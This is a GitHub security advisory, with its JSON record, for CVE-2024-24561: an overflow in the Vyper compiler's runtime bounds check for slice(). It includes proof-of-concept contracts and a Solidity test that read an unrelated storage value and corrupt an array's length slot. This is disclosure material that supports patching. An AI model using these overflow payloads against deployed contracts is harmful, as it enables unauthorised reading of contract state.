ghsa-9x7f-gwxq-6f2c
Vulnerability from github
Published
2024-02-01 20:51
Modified
2024-11-22 20:46
Severity ?
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
Vyper's bounds check on built-in `slice()` function can be overflowed
Details

Summary

The bounds check for slices does not account for the ability for start + length to overflow when the values aren't literals.

If a slice() function uses a non-literal argument for the start or length variable, this creates the ability for an attacker to overflow the bounds check.

This issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the length slot of the respective array.

A contract search was performed and no vulnerable contracts were found in production.

tracking in issue https://github.com/vyperlang/vyper/issues/3756. patched in https://github.com/vyperlang/vyper/pull/3818.

Details

Here the flow for storage is supposed, but it is generalizable also for the other locations.

When calling slice() on a storage value, there are compile time bounds checks if the start and length values are literals, but of course this cannot happen if they are passed values:

```python if not is_adhoc_slice: if length_literal is not None: if length_literal < 1: raise ArgumentException("Length cannot be less than 1", length_expr)

    if length_literal > arg_type.length:
        raise ArgumentException(f"slice out of bounds for {arg_type}", length_expr)

if start_literal is not None:
    if start_literal > arg_type.length:
        raise ArgumentException(f"slice out of bounds for {arg_type}", start_expr)
    if length_literal is not None and start_literal + length_literal > arg_type.length:
        raise ArgumentException(f"slice out of bounds for {arg_type}", node)

```

At runtime, we perform the following equivalent check, but the runtime check does not account for overflows: python ["assert", ["le", ["add", start, length], src_len]], # bounds check

The storage slice() function copies bytes directly from storage into memory and returns the memory value of the resulting slice. This means that, if a user is able to input the start or length value, they can force an overflow and access an unrelated storage slot.

In most cases, this will mean they have the ability to forcibly return 0 for the slice, even if this shouldn't be possible. In extreme cases, it will mean they can return another unrelated value from storage.

POC: OOB access

For simplicity, take the following Vyper contract, which takes an argument to determine where in a Bytes[64] bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases.

```python

@version ^0.3.9

x: public(Bytes[64]) secret: uint256

@external def init(): self.x = empty(Bytes[64]) self.secret = 42

@external def slice_it(start: uint256) -> Bytes[64]: return slice(self.x, start, 64) ```

We can use the following manual storage to demonstrate the vulnerability: json {"x": {"type": "bytes32", "slot": 0}, "secret": {"type": "uint256", "slot": 3618502788666131106986593281521497120414687020801267626233049500247285301248}}

If we run the following test, passing max - 63 as the start value, we will overflow the bounds check, but access the storage slot at 1 + (2**256 - 63) / 32, which is what was set in the above storage layout: solidity function test__slice_error() public { c = SuperContract(deployer.deploy_with_custom_storage("src/loose/", "slice_error", "slice_error_storage")); bytes memory result = c.slice_it(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63 console.logBytes(result); }

The result is that we return the secret value from storage: Logs: 0x0000...00002a

POC: length corruption

OOG exception doesn't have to be raised - because of the overflow, only a few bytes can be copied, but the length slot is set with the original input value.

```python d: public(Bytes[256])

@external def test(): x : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2256-1 self.d = b"\x01\x02\x03\x04\x05\x06" # s : Bytes[256] = slice(self.d, 1, x) assert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935 The corruption of `length` can be then used to read dirty memory:python @external def test(): x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2256 - 1 y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850 # 0x3232323232323232323232323232323232323232323232323232323232323232 z: uint96 = 1 if True: placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y] s :String[32] = slice(uint2str(z), 1, x) # uint2str(z) == "1" #print(len(s)) assert slice(s, 1, 2) == "22" ```

Impact

The built-in slice() method can be used for OOB accesses or the corruption of the length slot.

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.10"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "vyper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-24561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-01T20:51:32Z",
    "nvd_published_at": "2024-02-01T17:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n[The bounds check for slices](https://github.com/vyperlang/vyper/blob/b01cd686aa567b32498fefd76bd96b0597c6f099/vyper/builtins/functions.py#L404-L457) does not account for the ability for `start + length` to overflow when the values aren\u0027t literals. \n\nIf a `slice()` function uses a non-literal argument for the `start`  or `length` variable, this creates the ability for an attacker to overflow the bounds check. \n\nThis issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the `length` slot of the respective array.\n\nA contract search was performed and no vulnerable contracts were found in production.\n\ntracking in issue https://github.com/vyperlang/vyper/issues/3756.\npatched in https://github.com/vyperlang/vyper/pull/3818.\n\n## Details\nHere the flow for `storage` is supposed, but it is generalizable also for the other locations.\n\nWhen calling `slice()` on a storage value, there are compile time bounds checks if the `start` and `length` values are literals, but of course this cannot happen if they are passed values:\n\n```python\nif not is_adhoc_slice:\n    if length_literal is not None:\n        if length_literal \u003c 1:\n            raise ArgumentException(\"Length cannot be less than 1\", length_expr)\n\n        if length_literal \u003e arg_type.length:\n            raise ArgumentException(f\"slice out of bounds for {arg_type}\", length_expr)\n\n    if start_literal is not None:\n        if start_literal \u003e arg_type.length:\n            raise ArgumentException(f\"slice out of bounds for {arg_type}\", start_expr)\n        if length_literal is not None and start_literal + length_literal \u003e arg_type.length:\n            raise ArgumentException(f\"slice out of bounds for {arg_type}\", node)\n```\n\nAt runtime, we perform the following equivalent check, but the runtime check does not account for overflows:\n```python\n[\"assert\", [\"le\", [\"add\", start, length], src_len]],  # bounds check\n```\n\nThe storage `slice()` function copies bytes directly from storage into memory and returns the memory value of the resulting slice. This means that, if a user is able to input the `start`  or `length` value, they can force an overflow and access an unrelated storage slot.\n\nIn most cases, this will mean they have the ability to forcibly return `0` for the slice, even if this shouldn\u0027t be possible. In extreme cases, it will mean they can return another unrelated value from storage.\n\n## POC: OOB access\n\nFor simplicity, take the following Vyper contract, which takes an argument to determine where in a `Bytes[64]` bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases.\n\n```python\n# @version ^0.3.9\n\nx: public(Bytes[64])\nsecret: uint256\n\n@external\ndef __init__():\n    self.x = empty(Bytes[64])\n    self.secret = 42\n\n@external\ndef slice_it(start: uint256) -\u003e Bytes[64]:\n    return slice(self.x, start, 64)\n```\n\nWe can use the following manual storage to demonstrate the vulnerability:\n```json\n{\"x\": {\"type\": \"bytes32\", \"slot\": 0}, \"secret\": {\"type\": \"uint256\", \"slot\": 3618502788666131106986593281521497120414687020801267626233049500247285301248}}\n```\n\nIf we run the following test, passing `max - 63` as the `start` value, we will overflow the bounds check, but access the storage slot at `1 + (2**256 - 63) / 32`, which is what was set in the above storage layout:\n```solidity\nfunction test__slice_error() public {\n    c = SuperContract(deployer.deploy_with_custom_storage(\"src/loose/\", \"slice_error\", \"slice_error_storage\"));\n    bytes memory result = c.slice_it(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63\n    console.logBytes(result);\n}\n```\n\nThe result is that we return the secret value from storage:\n```\nLogs:\n0x0000...00002a\n```\n## POC: `length` corruption\n`OOG` exception doesn\u0027t have to be raised - because of the overflow, only a few bytes can be copied, but the `length` slot is set with the original input value.\n\n```python\nd: public(Bytes[256])\n\t\n@external\ndef test():\n\tx : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256-1\n\tself.d = b\"\\x01\\x02\\x03\\x04\\x05\\x06\"\n\t# s : Bytes[256] = slice(self.d, 1, x)\n\tassert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935\n```\nThe corruption of `length` can be then used to read dirty memory:\n```python\n@external\ndef test():\n    x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935  # 2**256 - 1\n    y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850   # 0x3232323232323232323232323232323232323232323232323232323232323232\n    z: uint96 = 1\n    if True:\n        placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y]\n    s :String[32] = slice(uint2str(z), 1, x)\t# uint2str(z) == \"1\"\n    #print(len(s))\n    assert slice(s, 1, 2) == \"22\"\n```\n\n## Impact\n\nThe built-in `slice()` method can be used for OOB accesses or the corruption of the `length` slot.",
  "id": "GHSA-9x7f-gwxq-6f2c",
  "modified": "2024-11-22T20:46:01Z",
  "published": "2024-02-01T20:51:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-9x7f-gwxq-6f2c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24561"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/issues/3756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2024-149.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vyperlang/vyper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/blob/b01cd686aa567b32498fefd76bd96b0597c6f099/vyper/builtins/functions.py#L404-L457"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vyper\u0027s bounds check on built-in `slice()` function can be overflowed"
}


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